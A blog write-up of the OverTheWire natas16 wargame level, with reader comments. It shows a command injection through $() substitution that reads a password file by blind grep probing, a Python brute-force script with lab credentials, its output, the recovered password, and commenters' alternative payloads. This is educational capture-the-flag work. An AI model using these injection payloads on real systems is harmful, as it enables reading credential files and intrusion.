<< Previous challenge |
Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas16.natas.labs.overthewire.org and take a look at its content.
This challenge puts together multiple challenges we've seen before, it uses the command injection like in natas10 as well as brute forcing from the previous challenge.
As always, check the website, it's identical to natas10, but we're told there's even more filters on characters, let's take a look at the source:
We've seen most of this before, but this time around, they really put some effort in preventing injections. On line 31 we can see that we can't use some metacharacters (;, |, &, `, ', ") and on line 34 we see that that the $key variable is enclosed in double quotes.
If you're familiar with bash scripting, there's an interesting feature named command substitution, there're two ways to achieve this, one is using backquotes around a command (`cat /etc/natas_webpass/natas17`), the other is by enclosing the command in $() ($(cat /etc/natas_webpass/natas17)). The backquotes we can't use, but the $() we can. So this is our entry point to command injection in this challenge.
Although we now know how to inject code, we're still limited by the filtering and the fact that whatever we inject, is going to be part of the regexp that's used to search in dictionary.txt. Here's an example of what we're working with: If we inject $(echo A), this is what is going to be executed:
Which will turn into:
So that injection is the same as sending an A, which will return every word that has an A (or a, it's case insensitive).
The reason this challenge comes right after the previous one is because the logic behind it is very similar, it just differs on the type of injection, last one being SQL and this one plain bash. The principle of building the the password sequentially still applies, we just need to figure out a way to do so. From the previous challenge, we already have several assumptions on how the password looks like, let's apply the same logic and method from the last challenge:
First we need to parse the 62 possible characters to know which ones are present in the password, this will speed up the brute forcing, then we must iterate the possible characters and sequentially build the 32 characters long password. In order to achieve this, we must make use of the command that's already being executed, that searches for the string in the dictionary, here's now we can do it:
We know that by sending a character in the form, we get all words that have that character, if we send a specific word, it will only match that word. We're going to start by picking a word that will have a single match, for example whacked, I started with hacked, but it has a w before and we want a match with no prefixes available, because we're injecting characters before the word. We also know that grep will not return anything if there is no match, with this in mind, we can grep the characters from the password file with the word we picked appended, if we get no output, the character exists, if we get output, the grep returned empty and we get word of the dictionary, this is why we must choose a word that has no possible prefixes. This might sound a little confusing, here's an example on how it works. We want to check if a exists on the password, this is what we inject:
This will execute the following command:
The resulting output will either be empty or the word whacked, if it's empty, the inner grep found a match in the password file, so there's no match in the dictionary for the word awhacked, if it's not empty, the inner grep had no return and the outer grep matched whacked. Now we can automate this using Python, like we did previously, and this is what it looks like:
The script is pretty much the same has the previous one. Here's its output:
This time it took a little more the brute force the password, but we got it anyway.
This challenge puts together multiple challenges we've seen before, it uses the command injection like in natas10 as well as brute forcing from the previous challenge.
As always, check the website, it's identical to natas10, but we're told there's even more filters on characters, let's take a look at the source:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <div id="content"> For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
If you're familiar with bash scripting, there's an interesting feature named command substitution, there're two ways to achieve this, one is using backquotes around a command (`cat /etc/natas_webpass/natas17`), the other is by enclosing the command in $() ($(cat /etc/natas_webpass/natas17)). The backquotes we can't use, but the $() we can. So this is our entry point to command injection in this challenge.
Although we now know how to inject code, we're still limited by the filtering and the fact that whatever we inject, is going to be part of the regexp that's used to search in dictionary.txt. Here's an example of what we're working with: If we inject $(echo A), this is what is going to be executed:
grep -i "$(echo A)" dictionary.txt
grep -i "A" dictionary.txt
The reason this challenge comes right after the previous one is because the logic behind it is very similar, it just differs on the type of injection, last one being SQL and this one plain bash. The principle of building the the password sequentially still applies, we just need to figure out a way to do so. From the previous challenge, we already have several assumptions on how the password looks like, let's apply the same logic and method from the last challenge:
First we need to parse the 62 possible characters to know which ones are present in the password, this will speed up the brute forcing, then we must iterate the possible characters and sequentially build the 32 characters long password. In order to achieve this, we must make use of the command that's already being executed, that searches for the string in the dictionary, here's now we can do it:
We know that by sending a character in the form, we get all words that have that character, if we send a specific word, it will only match that word. We're going to start by picking a word that will have a single match, for example whacked, I started with hacked, but it has a w before and we want a match with no prefixes available, because we're injecting characters before the word. We also know that grep will not return anything if there is no match, with this in mind, we can grep the characters from the password file with the word we picked appended, if we get no output, the character exists, if we get output, the grep returned empty and we get word of the dictionary, this is why we must choose a word that has no possible prefixes. This might sound a little confusing, here's an example on how it works. We want to check if a exists on the password, this is what we inject:
$(grep a /etc/natas_webpass/natas17)whacked
grep -i "$(grep a /etc/natas_webpass/natas17)whacked" dictionary.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | # Created by Joao Godinho # October 2014 # Script to brute force level 16 of natas wargames # Refer to http://floatingbytes.blogspot.com for details # Library to work with the POST requests import requests # All possible characters allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # Parsed characters, the ones that actually exist in the password parsedChars = '' # Final Password password = '' # Our target URL target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/' # The string that tells we're on the right path existsStr = 'Output:\n<pre>\n</pre>' # Checking if we can connect to the target, just in case... r = requests.get(target) if r.status_code != requests.codes.ok: raise ValueError('Kabum? Couldn\'t connect to target :(') else: print 'Target reachable. Starting character parsing...' # The fun begin, let's see what characters are actually part of the pwd for c in allChars: # Command injection #1 r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked') # So does the password use this char? if r.content.find(existsStr) != -1: parsedChars += c print 'Used chars: ' + parsedChars print 'Characters parsed. Starting brute force...' # Assuming password is 32 characters long for i in range(32): for c in parsedChars: # Command injection #2 r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked') # Did we found the character at the i position of the password? if r.content.find(existsStr) != -1: password += c print 'Password: ' + password + '*' * int(32 - len(password)) break print 'Done. Have fun!' |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | Target reachable. Starting character parsing... Used chars: 0 Used chars: 03 Used chars: 035 Used chars: 0357 Used chars: 03578 Used chars: 035789 Used chars: 035789b Used chars: 035789bc Used chars: 035789bcd Used chars: 035789bcdg Used chars: 035789bcdgh Used chars: 035789bcdghk Used chars: 035789bcdghkm Used chars: 035789bcdghkmn Used chars: 035789bcdghkmnq Used chars: 035789bcdghkmnqr Used chars: 035789bcdghkmnqrs Used chars: 035789bcdghkmnqrsw Used chars: 035789bcdghkmnqrswA Used chars: 035789bcdghkmnqrswAG Used chars: 035789bcdghkmnqrswAGH Used chars: 035789bcdghkmnqrswAGHN Used chars: 035789bcdghkmnqrswAGHNP Used chars: 035789bcdghkmnqrswAGHNPQ Used chars: 035789bcdghkmnqrswAGHNPQS Used chars: 035789bcdghkmnqrswAGHNPQSW Characters parsed. Starting brute force... Password: 8******************************* Password: 8P****************************** Password: 8Ps***************************** Password: 8Ps3**************************** Password: 8Ps3H*************************** Password: 8Ps3H0************************** Password: 8Ps3H0G************************* Password: 8Ps3H0GW************************ Password: 8Ps3H0GWb*********************** Password: 8Ps3H0GWbn********************** Password: 8Ps3H0GWbn5********************* Password: 8Ps3H0GWbn5r******************** Password: 8Ps3H0GWbn5rd******************* Password: 8Ps3H0GWbn5rd9****************** Password: 8Ps3H0GWbn5rd9S***************** Password: 8Ps3H0GWbn5rd9S7**************** Password: 8Ps3H0GWbn5rd9S7G*************** Password: 8Ps3H0GWbn5rd9S7Gm************** Password: 8Ps3H0GWbn5rd9S7GmA************* Password: 8Ps3H0GWbn5rd9S7GmAd************ Password: 8Ps3H0GWbn5rd9S7GmAdg*********** Password: 8Ps3H0GWbn5rd9S7GmAdgQ********** Password: 8Ps3H0GWbn5rd9S7GmAdgQN********* Password: 8Ps3H0GWbn5rd9S7GmAdgQNd******** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdk******* Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkh****** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhP***** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPk**** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq*** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9** Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c* Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw Done. Have fun! |
User | natas17 |
Password | 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw |
This time around it was more challenging, due to not being so obvious on where and how to exploit, but it ended it being pretty similar to the previous one.
Never Settle,
<< Previous challenge |
Line 40: Should be 'for c in parsedChars' instead of allChars
ReplyDeleteOtherwise, nice writeup!
You're right, I've fixed it, thanks :)
Deletehi ad, when I run ur code, i have a problem
ReplyDeleteTraceback (most recent call last):
File "C:\Users\hoangcode\Desktop\main.py", line 25, in
if r.content.find(existsStr) != -1:
TypeError: a bytes-like object is required, not 'str'
can u help me fix it, thanks!
This comment has been removed by the author.
DeleteTry to use that:
Delete"if r.content.find(bytes(existsStr, 'ascii')) != -1:"
It worked for me
Instead of probing which letters are present in your password (phase 1 of your algorithm) you can use "cut -b" to directly find all letters in the password. You need to resolve lower vs upper case (= 1 query) and the numbers (on average 5 queries).
ReplyDeleteThis reduces the number of queries to 50-ish.
----
tnecniV
Numbers can be caught in one shot by using a regex like: ^.\{$(cut -c 1 /etc/natas_webpass/natas17)\}$ which will return only words with the specified amount of numbers :)
DeleteAfter reading your writeup, I realize I bypassed the intended solution. It's possible with $(cat /etc/natas_webpass/natas17 > /proc/$$/fd/1).
ReplyDeleteSmart move, I'll definitely will remember procfs whenever I'm faced with command injections!
DeleteThanks!
This man is a genius
Delete